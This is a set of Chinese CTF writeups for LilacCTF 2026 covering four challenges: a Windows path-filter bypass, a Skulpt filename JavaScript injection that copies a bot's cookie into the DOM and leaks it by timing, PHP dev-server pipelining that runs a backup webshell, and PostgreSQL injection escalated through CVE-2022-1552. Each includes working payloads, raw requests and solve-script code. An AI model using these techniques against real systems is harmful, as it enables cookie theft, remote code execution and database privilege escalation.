题目概览:两阶段读文件题。第一阶段需要读到本地 token 文件,第二阶段用 token 调导出接口去读 SMB 共享中的备份文件。
接口与参数
提示接口为 /api/info,会在响应里描述两阶段目标
阶段一接口为 /api/diag/read,参数为 path
阶段二接口为 /api/export/read,参数为 token 与 path
两个接口都存在路径过滤,因此核心是构造能通过过滤但仍能被 Windows 路径解析接受的路径
接口速览
提示阶段使用 /api/info,无参数,返回 stage 描述与下一步指引。
Stage 1 使用 /api/diag/read,关键参数是 path,成功信号是 JSON 含 token 字段。
Stage 2 使用 /api/export/read,关键参数是 token 与 path,成功信号是 JSON 中 success 为真并返回 content。
过滤规则与绕过目标
常规 Win32 路径与常规 UNC 路径都可能被黑名单命中
多个 NT namespace 前缀也可能被拦截,例如 \\?\UNC\ 与 \??\ 这类形态
材料确认存在一组组合前缀在部分环境下未被过滤,便于绕过 UNC 检测并命中 SMB 共享
过滤对照
常规 UNC 形态如 \\<host>\share\file 常见被拦,通常直接命中 UNC 规则。
直写 UNC 前缀如 \\?\UNC\<host>\share\file 常见被拦,规则往往包含该前缀。
直写 NT 前缀如 \??\C:\path\file 常见被拦,规则常把它当作高危。
组合绕过候选如 \\?\GLOBALROOT\??\UNC\<host>\backup\flag.txt 在材料中记录可行,用组合规避简单前缀匹配。
阶段一绕过 Win32 长路径前缀
目标文件位于 C:\token\access_key.txt
直接读会被过滤器拦截
使用 Win32 长路径前缀 \\?\ 后,路径会走另一套解析分支,从而绕过对常规前缀的拦截
读到 token 后接口会在 JSON 中返回该字段,作为第二阶段的凭据
阶段一的复验步骤
先用普通 Win32 路径读一次,确认过滤确实存在且稳定拦截
再切到 \\?\ 前缀读同一目标,确认服务端解析分支发生变化
若拿到 token 字段,先记录长度与字符集,再进入第二阶段,避免把错误 token 带入后续
阶段一的排障要点
若返回报错但不含内容,优先确认服务端是按 Win32 路径解析还是按 URL 路径解析 若过滤器按字符串前缀匹配,长路径前缀往往能打破规则命中 若过滤器做了规范化,可能需要在大小写与分隔符细节上做多组候选
阶段二路径布局与候选策略
第二阶段核心仍然是 path 绕过过滤并被 Windows 路径解析接受 仓库里同时出现两类可行候选,说明不同实例或不同部署可能有差异
本地 backup 路径候选如 C:\backup\flag.txt,绕过点多来自点路径与尾随点等边界处理差异,适用于过滤较弱且本地存在 backup 目录。
UNC 共享路径候选如 \\?\GLOBALROOT\??\UNC\<host>\backup\flag.txt,绕过点来自组合前缀规避 UNC 与 NT namespace 黑名单,适用于备份文件在共享目录或容器内共享挂载。
本地候选路径的试探方式
web/Path/solve_path.py 默认先尝试一组本地候选
候选包含多种变体,例如加入点目录,尾随点,以及常见子目录层级
若某一条命中,接口会返回 success 为真并在 content 字段给出可提交内容
本地候选清单的结构化解释
标准路径如 C:\backup\flag.txt,验证点是文件直接存在且未被过滤。
点目录如 C:\backup\.\flag.txt,验证点是规范化差异与过滤遗漏。
尾随点如 C:\backup\flag.txt.,验证点是 Win32 末尾点处理差异。
目录层级如 C:\backup\latest\flag.txt,验证点是备份目录的常见层级习惯。
UNC 共享候选的绕过解释
常见 UNC 写法与多个 NT namespace 前缀会被过滤器直接拦截
材料里确认 \\?\GLOBALROOT\??\UNC\ 这一组合可能未被命中规则
GLOBALROOT 的效果是把解析起点切到对象管理器视角的根,再显式落回 UNC 设备映射
若目标环境对该组合加固,可回退到本地候选或继续枚举其他设备名入口
URL 编码与实现细节
由于反斜杠与冒号需要在查询串里安全传输,path 参数必须做 URL 编码
web/Path/solve_path.py 使用 urllib 的 urlencode 并把 :\\ 设为 safe 字符,保证关键分隔符不会被错误转义
脚本同时保留了多组候选路径,便于在不同部署下快速试探备份目录层级
阶段二的复验步骤
使用阶段一拿到的 token 调用阶段二接口 先用本地候选路径跑通一条闭环,确认 success 与 content 的 JSON 结构 若本地候选全部失败,再切到 UNC 绕过候选并逐个试探 host 与共享路径层级 每次只改动一处路径形态,避免同时改动导致无法定位失败原因
复现方式
python3 web/Path/solve_path.py --base-url <base>
请求封装的核心片段如下。
URLENCODE_SAFE = ':\\'
def get_stage2_token(base_url):
return http_get_json(
base_url.rstrip('/') + '/api/diag/read',
{'path': r'\\?\C:\token\access_key.txt'}
)['token']
def export_read(base_url, token, path):
return http_get_json(
base_url.rstrip('/') + '/api/export/read',
{'token': token, 'path': path}
)
token = get_stage2_token(BASE_URL)
status = export_read(BASE_URL, token, r'C:\backup\flag.txt')
来源:主:部分writeup/LilacCTF 2026-Path.docx;补:web/Path/solve_path.py
Playground
题目是 bot 在浏览器里执行 Skulpt。 flag 在 bot 的 cookie 中。 页面内容与 stdout 不回传。 因此只能用响应耗时做盲回传。 多实例轮询能缓解崩溃与抖动。
题目拆解
我按可验证的里程碑推进。
先保证能稳定拿到 visited 样本。
再证明注入链能在浏览器侧执行。
然后把 cookie 中的 LilacCTF{...} 写入 DOM。
最后用 timing oracle 逐位恢复字符串。
接口与可观测量
交互入口是 /api/share。
请求体是 JSON。
核心字段是 code。
服务端会让 bot 打开 share 页面并运行 code。
你能观测到的只有三类信息。 HTTP 状态码。 响应 body 的提示文本。 以及请求耗时。
stdout 与 console 不回传。 所以不能用打印做数据通道。 有效样本只采纳 visited。 crashed 与超时都直接丢弃。
测时发包
先手工把测时通道跑通。 再进入自动化脚本。 这样脚本出问题时更好分层定位。
HTTP 状态码只做粗过滤。 body 只采纳 visited。 crashed 不参与快慢判定。 请求耗时要看分布与中位数。 只看单次值很容易被噪声带偏。
示例命令用 <base> 占位。
避免把实例地址写进整理版文档。
BASE=<base>
curl -sS -i -X POST "$BASE/api/share" -H 'Content-Type: application/json' --data-binary '{"code":"pass"}'
curl -sS -o /dev/null -w '%{http_code} %{time_total} %{size_download}\n' -X POST "$BASE/api/share" -H 'Content-Type: application/json' --data-binary '{"code":"pass"}'
curl -sS -o /dev/null -w '%{http_code} %{time_total} %{size_download}\n' -X POST "$BASE/api/share" -H 'Content-Type: application/json' --data-binary '{"code":"i=0\nwhile i<5000000:\n i=i+1\n"}'
判定时只比较 visited 样本的耗时分布。 先跑短代码得到 baseline。 再跑延迟循环得到 delay。 两组中位数差值越大。 后续二分越稳。
样本过滤与实例抖动
本题最容易踩的坑是把崩溃当快分支。 所以必须把样本过滤写死。
baseline 与 delay 都只统计 visited。 crashed 通常更快且波动大。 timeout 与断开受网络影响更重。 这两类都直接丢弃。
如果 baseline 与 delay 分布重叠太多。 优先增大 delay-iters。 其次提高 samples。 visited 太少就换实例。 max-time 用来强制止损。
关键证据与前置确认
这题的代码不在服务端执行。
share 页面在浏览器侧跑 Skulpt。
这一点从 web/Playground/bundle.js 就能直接确认。
入口是 importMainWithBody。
bot 触发点是 /api/share。
import 有白名单。
并且 jseval 被置空。
所以不能走经典的 Python 直通 JS。
复现时我只确认四件事。 visited 样本是否够多。 注入链是否能让页面变慢。 DOM as file 是否能读到固定字符串。 以及 bootstrap 是否每轮都能写入。
本地快速复查可以直接用 rg 定位关键片段。
rg -n "Sk\\.configure|onBeforeImport|importMainWithBody|jseval|api/share" web/Playground/bundle.js
本地复查点
我只复查两份前端产物。
bundle.js 用来确认入口与限制。
skulpt.min.js 用来确认原语与注入点。
| 文件 | 关注点 | 结论 |
|---|---|---|
bundle.js |
importMainWithBody |
code 以 stdin 形态运行 |
bundle.js |
onBeforeImport |
import 白名单生效 |
bundle.js |
jseval |
经典直通点被禁用 |
skulpt.min.js |
getElementById 与 textContent |
open(id) 读取 DOM |
skulpt.min.js |
compile 与 filename |
filename 进入 JS 拼接 |
复查的目标不是通读源码。 而是确认两条利用链都有落点。 一条链负责把 cookie 写到 DOM。 另一条链负责把 DOM 读出来并做测时判定。
为什么选 timing oracle
import 白名单会挡住常见网络库。 浏览器侧的出网也可能受限制。 timing oracle 不依赖额外网络通道。 只依赖可区分的快与慢。
代价是请求量大。 必须做采样与阈值校准。 必须过滤崩溃样本。 同时用多实例轮询抵抗抖动。
Skulpt 配置与能力边界
代码执行位置
code 在浏览器内由 Skulpt 编译成 JS 再执行
前端产物可确认它以 stdin 形态运行而非服务端解释器
import 白名单很窄。
只包含 sys、math、json、textwrap、re。
常见的网络与系统模块不可用。
所以 Python 层很难直接回传数据。
后面必须依赖浏览器侧的注入与测时通道。
JS 直通被削弱但链路未断
经典入口 jseval 被前端置空,不能直接从 Python 调 JS skulpt.min.js 仍能看到 jsmillis 之类的桥接痕迹,说明 JS 执行链仍存在 因此正确方向是挖 Skulpt 编译产物的拼接点,而不是硬找被禁的内置名
JS bridge 线索
前端把 jseval 置空。
但 Skulpt 本体仍有少量桥接痕迹。
例如 jsmillis 一类的内置残留。
更关键的是 compile 与 traceback 的 filename 拼接点。
它提供了从 Python 控制到 JS 求值的通路。
关键原语 DOM as file
Skulpt 浏览器模式把文件名映射为 DOM id。
open("flag").read() 等价于读取页面 #flag 的内容。
大多数节点读取 textContent。
textarea 则读取 value。
这让 Python 有一个稳定的读通道。
只要 JS 能把目标字符串写到 #flag。
后续 probe 就能用 open 读回并做条件判断。
DOM 载体与写入策略
不同 DOM 节点在 Skulpt 读文件时走的字段不同。
为了减少差异。
我只用 div 这类节点写 textContent。
| 载体 | 写入字段 | 读取字段 | 建议 |
|---|---|---|---|
| div | textContent | textContent | 推荐 |
| span | textContent | textContent | 可用 |
| textarea | value | value | 仅长文本 |
| 任意节点 | innerHTML | textContent | 避免 |
我全程只用 div 加 textContent。 避免 HTML 解析与转义差异。
漏洞点 filename 注入
Skulpt 会把 traceback 元信息拼进生成的 JS 源码。 其中 filename 以字符串字段进入拼接。 这一拼接缺少转义。 所以 filename 可以被构造成可执行表达式。
filename 来自 compile(source, filename, mode)。
再配合 exec 触发编译产物执行。
用 1/0 制造异常。
traceback 构造时就会执行注入段。
注入形态用 IIFE 最稳。
典型结构是 '+(function(){...})()+'。
让 IIFE 最终返回空字符串。
避免破坏后续拼接语法。
JS 侧只做一件事。
把 cookie 中的 LilacCTF{...} 写入 DOM。
注入点在字符串拼接上下文。 所以我尽量不写语句块。 而是让注入段保持在表达式里完成。 IIFE 的返回值会被拼回字符串。 返回空字符串能让后续语法继续成立。 这能减少对周围代码结构的依赖。
构造 filename 时我只追求三件事。 先能稳定执行并且不破坏语法。 再能稳定写入 DOM。 最后才考虑把写入内容从 OK 换成 cookie。
payload 过长会明显增加崩溃概率。 因此我把逻辑拆成 bootstrap 与 probe 两段。 bootstrap 只负责把数据落到 DOM。 probe 只负责读 DOM 并做时间分支。
验证顺序也很固定。 先写入固定 OK 做盲验证。 再写入整段 cookie 确认通道。 最后再切到精确提取与二分恢复。
一直不变慢多半是注入没执行。 visited 变少多半是 payload 太长。 快慢翻转多半是过滤不严或阈值太近。
触发路径
触发点用 exec(compile("1/0", fn, "exec"))。
1/0 保证走异常路径。
traceback 构造时会触发 filename 拼接。
从而执行注入段。
exec 最终会把编译产物交给 JS 求值。
所以注入段可以直接访问 document 与 DOM。
盲验证
在 bot 场景看不到 print。 所以我先做一个盲验证。
JS 写入固定 OK 到 DOM。
Python 读回 open("pwn").read()。
条件成立就跑 delay loop。
只要 visited 样本显著变慢。
就说明注入与 DOM 读链路成立。
链路成立后再把写入内容换成 cookie 提取结果。 随后进入 timing oracle 的二分恢复。
转义坑点
注入段同时经过 Python 字符串与 JSON 字符串。 再进入 Skulpt 的 filename 拼接。 最常见的问题是反斜杠数量不对。 导致引号闭合失败或正则失效。 payload 过长也会增加错位概率。
处理方式很简单。 先用最短 payload 写 OK。 确认链路成立。 再逐步扩展到写 cookie。 出现不稳定时先写整段 cookie 做排障。
从 cookie 搬运到 DOM
bootstrap 在 JS 侧读取 document.cookie。
优先提取 LilacCTF{...} 片段。
没命中就写整段 cookie 做排障。
把结果写入 DOM #flag 的 textContent。
Python 侧用 open("flag").read() 读回字符串。
后续每轮 probe 都复用这一读通道。
每次 bot 访问 share 都是新的浏览器环境。 所以每轮都要先 bootstrap 再 probe。 否则会读到空 DOM 或旧内容。
提取阶段我做了三档降级。
优先提取 LilacCTF{...} 片段。
提取失败就先写前缀附近的短串。
再不行就直接写整段 cookie 做排障。
| 写入策略 | 写入内容 | 用途 |
|---|---|---|
| 精确提取 | LilacCTF{...} 片段 |
正式抽取 |
| 前缀截取 | LilacCTF 起始附近短串 | 正则不稳时兜底 |
| 全量回显 | 整段 cookie | 注入阶段排障 |
timing oracle 设计
这一段的关键是把条件判定映射为可区分的耗时差。 延迟逻辑我只用纯循环。 避免依赖 sleep 与系统时间。 这样执行时间主要由循环次数决定。
脚本会先做一次校准。 测 baseline 与 delay 的中位数。 再选一个阈值区分快慢。 后续每次 probe 都按同一阈值判定。
基本形式
Python 侧先读出 DOM 中的目标字符串 把判断条件映射为慢分支与快分支 慢分支执行大量空循环,快分支尽量立即返回
把字符恢复变成二分
对某位置字符的序值做大小比较,将比较结果映射为快慢 通过多次比较把字符值逼近到唯一值 常用做法是按可打印范围做二分,约七次比较可确定一位字符
二分恢复单字符的细化流程
先设定搜索区间 low 与 high 每轮取 mid 作为阈值,判断目标字符的序值是否小于等于 mid 若判定为真就收缩上界为 mid,否则收缩下界为 mid 加一 直到 low 等于 high,该值对应字符即为本位结果 为防止噪声翻转,单次判定做多次采样并取中位数或多数票 若出现边界抖动,对同一 mid 再测一轮并做一致性校验
复杂度估算
项目 单字符二分轮数 近似数量级 约 7 到 8 影响因素 搜索字符集范围
项目 单轮采样次数 近似数量级 约 3 到 15 影响因素 噪声大小与实例稳定性
项目 单字符请求量 近似数量级 二分轮数乘采样数 影响因素 直接决定耗时
项目 全量请求量 近似数量级 字符数乘单字符请求量 影响因素 决定总用时
单字符判定的稳健写法
目标
避免把一次偶发抖动当作真实的快慢差异
机制 中位数 做法 对 visited 样本取中位数 价值 抗极端值
机制 多数票 做法 多次独立判定取多数 价值 抗单次翻转
机制 复测 做法 接近阈值时复测 价值 降低边界抖动
机制 最小有效样本 做法 少于 min-ok 直接重试 价值 防止 crash 污染
校准输出应该长什么样
参考格式
这里用示例数字表达结构,实际数值以你测得分布为准
项目 baseline 中位数 示例含义 正常 payload 的典型耗时
项目 delay 中位数 示例含义 延迟 payload 的典型耗时
项目 threshold 示例含义 用于快慢分类的阈值
校准成功的直观信号
baseline 与 delay 的中位数差距明显 同一实例连续测得的 baseline 分布稳定 crashed 样本比例低且可被剔除
校准与阈值选择
为什么必须校准
不同实例负载不同,同一实例在不同时段也会波动 快慢阈值不能写死,需要按实时分布自适应
典型校准流程
先测一组 baseline 样本取中位数 再测一组 delay 样本取中位数 选择阈值使两者分布能明显分离
阈值选择对照
选法 阈值靠近 baseline 稳定性 中 速度 快 适用场景 实例非常稳定时
选法 阈值取两者中点 稳定性 高 速度 中 适用场景 大多数情况下推荐
选法 阈值靠近 delay 稳定性 最高 速度 慢 适用场景 噪声极大时兜底
样本过滤与抗崩溃
只采纳 visited
crashed 样本往往更快,会把快分支判定严重污染 超时样本既可能是慢分支也可能是网络问题,不应直接参与判定
最小有效样本数
单次判定需要至少若干个 visited 样本 若不足则进入额外批次重试,或切换实例
多实例轮询策略
把多个实例当作池子 每轮探测从池子里选当前最稳定的实例 一旦 crash 比例升高就暂时降权或跳过
自动化脚本实现要点
脚本职责分解
发送请求并计时,内部调用 curl 从响应中解析 HTTP 状态码与 body 把样本分为 visited 与 crashed 提供 baseline 测量与阈值校准 提供对单个 probe 的重复采样与中位数判定 提供按位置逐字符二分恢复
关键函数与职责
组件 _run_curl 作用 执行 curl 并计时 备注 解析第一行状态码并提取 body
组件 _post_share
作用 对 /api/share 发请求
备注 拼接 base 与路径
组件 _median 作用 取中位数 备注 用于抗噪
组件 classify_delay 作用 判定快慢 备注 只基于 visited 样本
组件 calibrate_oracle 作用 自动校准阈值 备注 测 baseline 与 delay 的中位数
组件 _bootstrap_js_flag_prelude 作用 注入 JS 并写入 DOM 备注 可选把整段 cookie 写入便于排障
组件 code_probe 系列 作用 探测变量与属性 备注 用于 recon 与定位目标表达式
组件 extract_string_via_timing 作用 抽取表达式字符串 备注 对字符序值做二分恢复
参数选择经验
delay iters 要看快慢差值,不看主观感觉 samples 越大越稳但越慢,建议先小后大 max time 要覆盖慢分支上限,避免误判为超时 sleep 间隔用于削峰,防止连续请求带来漂移
代码结构导读
目标
不靠记忆参数,而是理解脚本如何把盲回传工程化
代码片段 OracleResult 作用 统一记录耗时与响应 读懂后能做什么 便于统计与过滤
代码片段 _run_curl 作用 发包并解析响应 读懂后能做什么 快速定位网络层问题
代码片段 classify_delay 作用 把一次测量判定为快或慢 读懂后能做什么 理解阈值为何会翻转
代码片段 calibrate_oracle 作用 自动找阈值 读懂后能做什么 理解 delay-iters 与阈值关系
代码片段 code_probe 系列 作用 生成探测 payload 读懂后能做什么 扩展 recon 能力
代码片段 extract_string_via_timing 作用 逐位二分恢复 读懂后能做什么 调整字符集与终止条件
调参建议
先用 calibrate 找到能分离的阈值,再开抽取 一旦发现误判,优先调 samples 与 delay-iters 只在实例稳定后才考虑降低 samples 提速
关键 payload 片段描述
注入 prelude 的职责
在 JS 侧读 cookie
把匹配到的 LilacCTF{...} 片段写入 DOM 固定 id
未命中时写入整段 cookie 便于排障
probe 的职责
在 Python 侧读取 DOM 文本 对指定位置字符做比较并映射为快慢 以多轮比较完成单字符二分
sanity check 的职责
先验证前缀特征,例如 LilacCTF 与左花括号是否一致 若前缀不一致则停止抽取并回到注入与校准阶段
调试节奏
我把流程分成四段,先选实例,再校准阈值,再做盲验证,最后进入抽取。 实例筛选只看 visited 占比与耗时分布,崩溃样本直接丢弃。 校准阶段用一段稳定的 delay loop 拉开快慢差值,直到中位数可分离。 盲验证阶段先比较一个已知可读字段,确认能稳定变慢,再开始读 cookie。 抽取阶段用逐位二分恢复字符串,必要时多实例轮询抵抗抖动与偶发崩溃。
脚本参数与模式
脚本最关键的参数是实例列表与采样策略。
| 参数 | 作用 | 建议 |
|---|---|---|
--base-url |
实例池 | 多实例轮询 |
--samples |
单次判定采样数 | 噪声大就先加它 |
--delay-iters |
拉开快慢差值 | 差值不够就加它 |
--min-ok |
最小 visited 数 | 不足就重试或换实例 |
--max-time |
超时止损 | 避免极端值污染 |
--bootstrap-flag |
每轮写入 DOM | 建议保持开启 |
阈值默认按校准结果自动推导。
出现大量翻转再手动调大阈值。
--base-url 建议填多个实例,轮询能明显提高稳定性。
--samples 决定单次判定的采样次数,噪声大时先加 samples 再加 delay-iters。
--delay-iters 用于拉开快慢差值,差值过小会导致二分频繁翻转。
--max-time 与 --min-ok 用于止损与剔除 crash 样本,避免极端值污染阈值。
--bootstrap-flag 建议保持开启,让每轮都重写 DOM,避免依赖残留状态。
脚本的 wait calibrate probe extract autosolve 只是同一条链路的不同切片。
实战里我主要用 wait 选实例,用 calibrate 定阈值,用 extract 做全量恢复。
排障思路
二分反复翻转时,优先怀疑阈值太近或 visited 样本不足。 前缀接近但错位时,多半是某一轮误判导致的分支翻转,需要复测与多数票。 visited 很少时,通常是实例负载高或 payload 触发 crash,直接换实例更省时间。 一直不变慢时,优先把注入降到写入固定 OK,再确认 DOM 读确实生效。
| 现象 | 更可能的原因 | 优先处理 |
|---|---|---|
| 一直不变慢 | 注入未执行或未写入 DOM | 先做 OK 盲验证 |
| visited 很少 | 实例负载高或队列拥堵 | 直接换实例 |
| 快慢翻转 | 阈值太近或样本不足 | 增大 delay-iters 或 samples |
| 前缀错位 | 某一位误判导致级联偏移 | 回退并复测该位 |
| 读到空 DOM | 忘了每轮 bootstrap | 保证每轮先写再读 |
可选提速思路
先恢复固定前缀。
确认 LilacCTF{ 结构无误。
再把搜索范围限制在可打印字符集。
这样单字符二分轮数更少。
也更不容易被噪声误判。
如果只关心提交格式。 可以把终止条件设为右花括号。 命中后立刻停止。 避免在尾部浪费采样。
对高噪实例直接跳过更省时间。 不要在一个抖动实例上把 samples 拉到极大。 优先在实例池里选分布更稳定的那一个。
核心 exp 分两段。
bootstrap prelude 用 filename 注入在 JS 侧把 cookie 写到 DOM。
probe 负责读取 open("flag").read() 并触发 delay loop。
外层再用 curl 测时把快慢变成可判定的布尔值。
脚本里我保持两个原则。 每轮都先 bootstrap。 每次判定都只统计 visited 的中位数。
脚本里 bootstrap 与 probe 组合的关键片段如下。
def make_delay_loop(iterations: int) -> str:
return f"for _ in range({iterations}): pass"
def wrap_try(body: str) -> str:
ind = "\n".join((" " + line) if line.strip() else line for line in body.splitlines())
return f"try:\n{ind}\nexcept:\n pass\n"
def bootstrap_js_flag_prelude() -> str:
js_filename_payload = (
"'+(function(){"
"var c=document.cookie;"
"var m=/LilacCTF\\\\?\\{[^}]*\\}/.exec(c);"
"var txt=m?m[0]:c;"
"var e=document.getElementById(\"flag\");"
"if(!e){e=document.createElement(\"div\");e.id=\"flag\";document.body.appendChild(e);}"
"e.textContent=txt;"
"return \"\";"
"})()+'"
)
return (
f"fn = {js_filename_payload!r}\n"
"try:\n"
" exec(compile('1/0', fn, 'exec'))\n"
"except:\n"
" pass\n"
)
def code_probe_str_ord_le(expr: str, index: int, value: int, delay_iters: int) -> str:
body = (
f"s = {expr}\n"
f"if isinstance(s, str) and len(s) > {index} and ord(s[{index}]) <= {value}:\n"
f" {make_delay_loop(delay_iters)}\n"
)
return wrap_try(body)
payload = bootstrap_js_flag_prelude() + code_probe_str_ord_le(\"open('flag').read()\", idx, mid, N)
来源:web/Playground/Playground.md、web/Playground/solve_playground.py、web/Playground/bundle.js、web/Playground/skulpt.min.js
keep
题目概览:利用 PHP 开发服务器在同一 TCP 连接内的 HTTP pipeline 解析错配。第一段用于把 PHP 文件按文本回显,从而泄露源码与隐藏文件名。第二段用于让备份 webshell 进入 PHP 解释器,从而执行 $_POST 参数读取 flag。
利用链拆解
这题有两次 pipeline。
两段 pipeline 的分工
| 阶段 | pipeline 请求组合 | 关键输出 | 用途 |
|---|---|---|---|
| 源码泄露 | GET /index.php 加 GET 静态扩展名 |
index.php 源码文本 |
拿到隐藏备份文件名 |
| 触发执行 | GET .php.bak 加 POST .php |
命令执行回显 | 执行 webshell 读文件 |
源码泄露拿到隐藏文件名
同连接发送两条 GET。第二条使用静态扩展名,例如 .txt,常见表现是响应头出现 Content-Type: text/plain,从而把第一条请求对应的 PHP 按源码回显。
exp 核心片段
GET /index.php HTTP/1.1
Host: HOST:PORT
Connection: keep-alive
GET /Kawakaze.txt HTTP/1.1
Host: HOST:PORT
Connection: close
拿到 index.php 源码后可看到注释中泄露了备份文件名 s3Cr37_f1L3.php.bak。
pipeline 触发 webshell 执行
备份文件内容是 @eval($_POST["admin"])。单独请求它会被当作静态文本下发,不会执行。继续用同连接 pipeline,让第二条请求看起来像是正常的 .php POST,并带上 admin 参数。
要点是 Content-Length 必须严格等于 body 字节数,并禁用工具对长度的自动修正。
exp 核心片段
GET /s3Cr37_f1L3.php.bak HTTP/1.1
Host: HOST:PORT
Connection: keep-alive
POST /s3Cr37_f1L3.php HTTP/1.1
Host: HOST:PORT
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Connection: close
admin=phpinfo();
把 admin 替换成读 flag 的命令即可,整理版用 LilacCTF{...} 占位。


来源:部分writeup/LilacCTF.md、web/keep/solve_keep.py、assets/redacted/keep_1_redacted.png、assets/redacted/keep_2_redacted.png
safe-sql
题目概览:登录接口存在 PostgreSQL 注入,且回显通道可控,但数据库用户权限很低,无法直接读文件。因此解题分两段,先拿稳定注入与回显,再做数据库侧提权读取 /flag。
服务端是一个 python Web 服务。 入口点集中在登录接口,参数走 JSON。 最初通过 fuzz 把请求压到最小,再观察响应差异, 很快能确认这不是参数化查询,而是字符串拼接导致的注入面。
整体链路分三段。先把注入与回显做稳定,关键点是 username 尾部反斜杠改变引号闭合, 从而把 password 变成可控语句片段。随后利用 BRIN 索引维护与 autovacuum 的后台执行路径, 让表达式在更高权限上下文里被求值,最后把结果写入 exfil 表并通过注入回显取回。
服务面与回显通道
前端是 SPA,真正可控入口在后端接口
关键接口是 /api/login,接收 JSON 的 username 与 password
失败登录常见为 HTTP 401,成功注入常见为 HTTP 200
成功响应会包含 username 字段,脚本把它当作数据回传通道
回显上大致分三类。 正常失败一般是 HTTP 401,只返回错误提示,说明未命中注入。 注入成功更常见 HTTP 200,并把 username 字段带回,等价于稳定回传通道。 若触发应用侧过滤,会出现 No hacker 等提示,这时需要换写法与转义策略。
注入点与稳定回显
接口接收 JSON 的 username 与 password
后端拼接 SQL 时使用了 Postgres 的 E 字符串转义,username 尾部的反斜杠会改变引号闭合方式
通过让 username 以单个反斜杠结尾,可以把 password 变成可控的堆叠 SQL 片段
稳定回显的关键是保证最后一条语句返回一行一列,并把该列塞回响应 JSON 的 username 字段
web/safe-sql/solve.py 用 coalesce 与显式转成 text 的方式避免类型不一致导致回显不稳定
这个注入面最像一类边界错位问题。 username 的 closing quote 被反斜杠吃掉后, 后续语句片段会被拼进同一个 string constant 的解析过程。 于是 password 中的内容反而出现在 SQL 语法层, 可以做 union select 与堆叠语句。
初期确认数据库类型时,优先做无副作用的探测。 例如回显 version 与 current_user, 再回显当前 schema 与常见对象列表。 这些信息足够判断你是否处在低权账户, 也能确认版本是否落在可利用区间。
转义与稳定性
浏览器到后端传输的是 JSON 字符串,反斜杠在 JSON 与 SQL 两层都会被解释。
手工调试时最容易错在反斜杠数量不对,从而无法稳定打断 E 字符串语义。
web/safe-sql/solve.py 把这层细节封装成固定模板,避免人工误差并让语句栈更稳定。
如果回显忽快忽慢,先把注入缩到只做版本探测,确认基础链路稳定后再上复杂语句。
规避过滤与脚本化技巧
注入语句中尽量避免直接出现引号与危险关键字,部分 payload 会触发应用层拦截 使用 Postgres 的 dollar quote 构造字符串字面量,能绕过大部分对单引号的限制 先在 public schema 创建一个执行包装函数,把复杂 DDL 作为字符串传入并在数据库端 EXECUTE,进一步降低注入语句表面特征
回显稳定性的工程化要点
堆叠注入里每条语句的成功与否都会影响最终响应
最末尾必须是单行单列 select,避免 JSON 解析与字段填充被打断
复杂逻辑应尽量下沉到数据库端函数里,再由注入只触发函数调用
web/safe-sql/solve.py 的设计目标是把不稳定因素收敛到可重试的函数返回值上
把错误变成信息的工程化做法
包装函数把 SQLERRM 作为字符串返回,等价于一个可控的报错回显通道 这样做的收益是可以高频迭代,不会因为一条语法错误就把接口打挂 同时也能把权限拒绝与对象缺失区分开,减少盲试次数
快速 recon 的重点项
我先把注入缩到只读查询,确保 username 回显稳定。
优先回显 PostgreSQL 版本与当前用户,确认是否为低权账户与目标版本段。
随后枚举 public 下对象与视图,重点找 v_flag 一类能直接读的入口。
如果能直接读到内容就结束,提交时写成 LilacCTF{...}。
本题多数实例直读会落空,因此需要继续确认权限边界。 pg_read_file 与 COPY 类能力会被权限拒绝,扩展与 dblink 也不可用。 large object 只能做回收通道,不能让低权用户凭空读取宿主机文件。 这时只剩维护链路这一条可扩展的路线。
在这一步我确认到两个关键信息。 一是数据库版本为 12.10,属于相对偏旧的分支。 二是当前用户是低权账户,既没有 superuser 也没有读文件权限。 因此后续重点不是继续找注入花活,而是找一个能把权限抬起来的执行面。
走维护链路的原因
把副作用挂到维护任务里,才能让高权限上下文执行到用户可控函数。 一旦能读到目标文件内容,就把结果写入 exfil 表或写入 large object。 最后再通过注入回显把结果取回并按题面格式提交。
包装函数族与其价值
为了让注入语句尽量短,也为了躲开 No hacker 一类过滤, 我把复杂逻辑下沉到数据库端函数,再由注入只触发函数调用。 try_sql 的职责是执行一段动态 SQL,并把 ok 或 SQLERRM 作为文本回显。 try_eval 与 try_exec 把表达式与语句分开,减少语法耦合带来的偶发失败。 try_read 用来集中尝试多个候选路径,并把失败原因统一写回。
真正的回收通道有两条。 一条是写入 exfil 表,再用 username 回显把内容取回。 另一条是写入 large object,当 exfil 写入受限时仍能回收正文。 脚本同时实现了两条通道,实战里优先用 exfil,失败再退回 large object。
文件路径我优先试 /flag,再试 /flag.txt 与 /app/flag。
路径差异不影响利用主线,只影响你在 payload 里要读的文件名。
CVE-2022-1552 链路
这题数据库用户本身很低权,所以需要借维护链路拿到更高权限的执行面。 思路是利用 BRIN 表达式索引与 autovacuum 维护路径。 在受影响版本里,维护过程可能在更高权限上下文里求值索引表达式, 从而执行到我们控制的函数体。
索引创建时会要求函数属性更保守。 因此我先用 immutable 桩函数通过创建条件。 索引建好以后再替换函数实现,把真正的 payload 挂到同一个符号名上。 触发维护时,表达式仍会调用这个函数名,于是执行到替换后的实现。
为了让触发尽量可控,需要把 autovacuum 条件压得很低。 我会把阈值与比例调到接近一次写入就能触发维护的程度。 同时把 BRIN index 的 pages_per_range 设小, 让 summarize 更频繁地走到表达式求值路径。 后续再通过一轮插入与删除制造足够的表变更, 等待 autovacuum 在后台跑起来。
这一步的体感是异步等待。
注入本身一次就能把对象建好,但权限变化不会立刻出现。
日志里常见的信号是 security restricted 一类报错,
它说明维护路径确实被触发,但当前 payload 仍被限制。
一旦能看到以更高权限用户执行的痕迹,
后续读取 /flag 就回到纯 SQL 的回收问题。
payload 的行为保持很克制。 先看 session_user 与 current_user 是否出现高权迹象,再决定是否继续尝试读文件。 读到内容就写入 exfil 表并立刻返回,避免长时间阻塞拖到服务端超时。 读不到则记录错误摘要,用来区分权限不足与实例已修补。
触发是异步的,不可能靠一次请求立刻拿结果。 脚本会周期轮询 exfil 表的最新记录。 如果持续出现 security restricted 一类拒绝,通常意味着实例已修补, 这时继续等待没有意义,直接换实例更快。
拿到等价 superuser 以后,读取 /flag 就回到纯 SQL 问题。
最后通过注入回显把内容取回,提交写成 LilacCTF{...}。
注入封装与 dollar quote 的关键片段如下。
def dollar_quote(s, tag='q'):
return f'${tag}${s}${tag}$'
def exec_sql(api_login, sql):
username = 'a\\'
password = f' OR 1=1;{sql}-- '
return post_json(api_login, {'username': username, 'password': password})
sql = f'SELECT coalesce((SELECT current_user::text), {dollar_quote("none")})'

